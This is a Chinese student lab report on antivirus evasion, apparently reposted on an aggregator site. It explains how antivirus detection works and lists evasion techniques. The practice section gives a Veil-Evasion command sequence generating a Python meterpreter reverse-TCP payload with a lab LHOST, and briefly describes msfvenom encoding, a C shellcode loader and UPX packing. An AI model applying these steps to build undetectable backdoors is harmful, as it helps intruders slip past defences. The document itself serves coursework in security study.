zoukankan      html  css  js  c++  java
  • 20145234黄斐《网络攻防技术》实验三,免杀原理与实践

    免杀

    概述

    • 免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
    • 被谁杀?当然是被杀毒软件(引擎)杀。所以,要做好免杀技术(防御),就要弄清杀毒方式(攻击),也就是这些杀毒软件是如何工作的。

    恶意代码检测方式

    • 基于特征码的检测
      • 特征库,也就是我们平时说的病毒库,它记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据自己检测出或网络上已发现报告的病毒,对其多段提取特征码,构成了对恶意软件查杀的重要因素;
      • 杀毒软件都有着自己的庞大病毒库(实际上就是由特征码构成的一个数据库),杀毒时只需与特征码进行比对就可判断出软件是否有毒;
      • 根据以上介绍,我总结了这种方式的查杀特点:
        • 病毒库越大,杀毒有效率越高;
        • 因为收集的是已发现病毒的特征码,所以误报率低;
        • 对部分新型病毒没有抵抗性,无法抵御零日攻击,需要定期更新病毒库。
    • 启发式恶意软件检测
      • “When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.”对照恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧!

      • 用较为专业的角度来解释就是,分析对象文件与病毒特征库中的病毒原码进行比较,当二者匹配率大于某一值时(通常这一值较小,所以容易误报),杀毒软件就会将其列为可疑文件以进行下一步的除理。
      • 总结出以下特点:
        • 查杀效率极高,不需要依赖庞大的病毒库;
        • 对新型病毒有较好的预防性,可以抵御零日攻击;
        • 因为分析是“启发式”的、不精确的、概率性的,所以其误报率也不可忽略;
      • F-Prot是一款杀毒软件,有三个启发引擎,可见其是比较强大的,但其误报我也深感无能为力啊(后文会介绍)……
    • 基于行为的恶意软件检测
      • 其实这种检测与启发式的较为相近,都没有依赖病毒库,但是我感觉它比启发式更靠谱一点,它是在一种程序运行的状态下对其行为进行监控,如果有敏感行为会报毒,是一种动态的监测与捕捉;
      • 总结出以下特点:
        • 不过分依赖病毒库,效率高;
        • 可以检测出获取权限等敏感行为,从这种意义上说,在一定程度上是可以抵御新型病毒的;
        • 因为是对系统的一个动态监测,会占用部分系统资源。

    免杀方式

    • 只有弄懂了上述查杀原理,对免杀的方式才有更清晰的理解
    • 改变特征码
      • 加壳,通过加壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
      • 对shellcode进行编码、重组
    • 改变行为
      • 通讯方式
        • 尽量使用反弹式连接(用的最多)
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
    • 其它方法
      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
      • 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
      • 纯手工打造一个恶意软件

    实践过程

    1.msfvenom直接生成meterpreter可执行文件

    提交之后,有很多程序查到了它是个病毒

    2 Msfvenom使用编码器

    多次编码后

    基本没有变化

    3.使用evail-evasion

    1. use python/meterpreter/rev_tcp
    2. set LHOST 192.168.199.143
    3. generate
    4. Please enter the base name for output files (default is 'payload'):hfhf
    5. 1

     

    4.C语言调用Shellcode

     

    这是目前通过数量最多的一个了

    5.加壳,压缩壳UPX

    数量较少,但仍未做到免杀,反而不如C语言调用Shellcode

  • 相关阅读:
    几种编辑器的markdown-toc生成目录在github上的表现
    Docker 镜像文件的导入和导出
    Python 的 os 与 sys 模块
    IPython 自动重载魔术
    一种新的python局部调试手法
    Python 动态从文件中导入类或函数的方法
    python2中新式类和经典类的多重继承调用顺序
    Python运行目录或压缩文件
    子类化内置类型
    Django 数据库访问性能优化
  • 原文地址:https://www.cnblogs.com/taigenzhenjun/p/6624513.html
Copyright © 2011-2022 走看看